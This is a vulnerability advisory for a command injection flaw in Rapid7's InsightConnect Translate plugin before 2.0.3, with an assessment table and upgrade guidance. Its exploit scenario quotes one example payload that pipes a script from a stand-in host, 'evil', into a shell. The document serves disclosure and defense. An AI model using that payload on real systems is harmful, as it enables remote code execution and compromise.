OS Command Injection vulnerability in the TR action of Rapid7 InsightConnect Translate Plugin on Linux allows remote attackers to execute arbitrary OS commands via the text or expression parameters due to insufficient input sanitization in shell command construction.
AnalysisAI
OS command injection in Rapid7's InsightConnect Translate (TR) Plugin on Linux lets remote attackers run arbitrary shell commands by injecting into the 'text' or 'expression' parameters of the TR action, which are concatenated into a shell command without sanitization (CWE-78). All plugin versions before 2.0.3 are affected. …

Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the attacker to control the 'text' or 'expression' parameter of the TR (Translate) action on a Linux-hosted InsightConnect TR Plugin older than 2.0.3; supplying shell metacharacters in that value triggers OS command execution. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The signals are mixed and should be weighed rather than taken at face value. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker arranges for malicious input containing shell metacharacters (e.g. '; curl http://evil/x | sh') to reach the TR action's 'text' or 'expression' parameter - for example via a workflow that ingests untrusted alert/ticket data and passes it to the Translate plugin. … |
| Remediation | Vendor-released patch: 2.0.3 - upgrade the InsightConnect TR Plugin to version 2.0.3 or later, which is the primary and recommended fix (vendor extension page: https://extensions.rapid7.com/extension/tr). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Identify and catalog all InsightConnect installations running Translate Plugin versions before 2.0.3, documenting each system hostname, IP address, and current plugin version. …
